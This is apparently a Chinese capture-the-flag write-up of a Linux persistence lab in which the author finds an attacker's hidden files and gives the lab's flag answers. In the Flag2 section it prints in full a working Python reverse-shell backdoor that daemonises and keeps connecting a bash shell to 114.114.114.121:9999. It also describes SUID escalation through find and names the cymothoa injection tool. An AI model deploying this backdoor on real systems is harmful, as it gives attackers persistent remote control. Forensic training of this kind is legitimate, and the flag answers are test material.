靶场地址:第三章 权限维持-linux权限维持-隐藏 · 玄机 - EDISEC
本次靶场要求提供的flag如下:
- 黑客隐藏的隐藏的文件 完整路径md5
- 黑客隐藏的文件反弹shell的ip+端口 {ip:port}
- 黑客提权所用的命令 完整路径的md5 flag{md5}
- 黑客尝试注入恶意代码的工具完整路径md5
- 使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}
Flag1
黑客隐藏的隐藏的文件 完整路径md5
惯例先看下开了哪些端口和服务,可以看到开了apache2和mysql,和上一题有点类似
netstat -antlp|more

黑客经常会将隐藏文件放在/tmp目录下,因此先去这个目录下找,发现有一个.temp文件

进入到/tmp目录,看到目录下面只有一个1.py是拥有可执行权限的,查看代码确定是后门文件,提取该文件的完整路径,文件内容后面会分析
/tmp/.temp/libprocesshider/1.py

按题目要求对路径进行md5加密,得到flag
flag{109ccb5768c70638e24fb46ee7957e37}

Flag2
黑客隐藏的文件反弹shell的ip+端口 {ip:port}
上一步得知了隐藏目录下有可执行文件1.py,在这个文件中我们就可以看到反弹shell的IP和端口,获取flag
flag{114.114.114.121:9999}

对上面代码进行简要分析,可以分为以下几段:
- 指定解析器
指定使用 Python 3 解释器来执行该脚本,并导入相应的模块
#!/usr/bin/python3
import socket,subprocess,os,sys,time
- 创建第一个子进程
这里使用fork()创建一个子进程。如果这是父进程(pidrg > 0),它会立即退出。这是为了在后台运行守护进程,防止阴影进程残留
pidrg = os.fork()
if pidrg > 0:
sys.exit(0)
- 更改工作目录和会话
将工作目录更改为根目录/,再创建一个新的会话,用于运行守护进程,最后将文件创建掩码设为 0,这允许进程创建的文件具有最大的权限
os.chdir("/")
os.setsid()
os.umask(0)
- 创建第二个子进程
另一个fork()调用,再次创建一个子进程。如果这是父进程,同样会退出。这样做的目的是确保没有控制终端。
drgpid = os.fork()
if drgpid > 0:
sys.exit(0)
- 无限循环
进入一个无限循环,持续尝试连接到指定 IP 地址的指定端口,实现后门的持久化
while 1:
- 连接到远程服务器
刷新stdout和stderr,确保输出不会被缓存。同时将标准输出和标准错误输出重定向到 /dev/null,即丢弃所有输出。再创建一个 TCP socket,并尝试连接到 IP 地址114.114.114.121的端口9999,实现反弹shell
try:
sys.stdout.flush()
sys.stderr.flush()
fdreg = open("/dev/null", "w")
sys.stdout = fdreg
sys.stderr = fdreg
sdregs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sdregs.connect(("114.114.114.121", 9999))
- 重定向输入输出
使用dup2()函数将标准输入(0)、标准输出(1)和标准错误(2)重定向到网络socket。这允许攻击者通过socket与受害机器直接进行交互
os.dup2(sdregs.fileno(), 0)
os.dup2(sdregs.fileno(), 1)
os.dup2(sdregs.fileno(), 2)
- 调用新的 shell
调用一个交互式的 bash shell。执行完后关闭 socket。
p = subprocess.call(["/bin/bash", "-i"])
sdregs.close()
- 异常处理
捕获并忽略所有异常。这意味着如果连接失败或出现任何错误,脚本将继续循环,不会抛出错误。如果连接失败,等待 2 秒钟后再试
except Exception:
pass
time.sleep(2)
从上面代码也可以看出来这是个标准的后门脚本,会创建个子进程不断反弹shell,进行持久化控制
Flag3
黑客提权所用的命令 完整路径的md5 flag{md5}
首先我们要了解下提权中常用的SUID提权的原理:
- 当一个文件(通常是可执行的二进制文件)设置了 SUID 位时,该文件的所有者(通常是 root 用户)身份会被赋予给通过该文件启动的进程
- 这意味着,虽然实际运行程序的用户可能是普通用户,但程序将以文件所有者的身份执行
即如果用户执行设置了SUID位的文件,用户通过该程序执行的指令和操作都是以root身份执行
提权搜索设置了SUID位的程序,看到了find指令,find提权也是Linux提权中常用到的,正常find是不会设置SUID位,说明有人对它进行了提权
find / -perm -u=s -type f 2>/dev/null

查看一下文件权限,可以看到s位的显示,并且对应路径如下
/usr/bin/find

对该路径进行md5编码,拿到flag
flag{7fd5884f493f4aaf96abee286ee04120}
Flag4
黑客尝试注入恶意代码的工具完整路径md5
隐藏文件通常以.作为文件开头,黑客工具通常也会放在隐藏目录下,首先全局搜索一下隐藏目录或文件
find / -name ".*"
在/opt下面发现有一个带有版本号1-beta的目录,而目录名cymothoa是一款可以将shellcode注入到现有进程的后门工具

进入到这个目录,找到运行程序,得到完整访问路径
/opt/.cymothoa-1-beta/cymothoa

再对路径进行md5加密得到flag
flag{087c267368ece4fcf422ff733b51aed9}
Flag5
使用命令运行 ./x.xx 执行该文件 将查询的 Exec ****** 值 作为flag提交 flag{/xxx/xxx/xxx}
这道题目说要执行该文件获取执行输出,首先能想到的就是前面题目有关联的两个文件
/tmp/.temp/libprocesshider/1.py
/opt/.cymothoa-1-beta/cymothoa
而根据./x.xx格式猜测对应是1.py,而这个文件我们前面也分析了,是创建子进程实现持续性反弹shell操作,执行后并不会有什么输出,问题在于这个Exec值到底代表什么
另一篇文章玄机——第三章 权限维持-linux权限维持-隐藏 wp-优快云博客中有提到,说Linux系统中的 Exec 相关字段,通常用于查看程序执行时的权限设置,但是我在网上搜了个遍都没搜到这个说法的出处,目前对这个论点存疑,但是文章中提供的flag确实是正确的,我只能说出题人真行,为了提高所谓的“难度”给flag的描述弄得很复杂,难度全在理解出题人的表达上
按文章思路来,执行文件后获取到了Python3对应的权限设置lrwxrwxrwx,但是这个不是答案
python3 /tmp/.temp/libprocesshider/1.py
ls -l /usr/bin/python3

答案是执行1.py脚本的执行程序的完整路径,还不能是/usr/bin/python3必须是/usr/bin/python3.4,所以为什么是这个答案,这个到底是怎么来的,Exec到底代表什么,有没有大佬能在评论区解答一下
最终提交的flag是
flag{/usr/bin/python3.4}

5992

被折叠的 条评论
为什么被折叠?



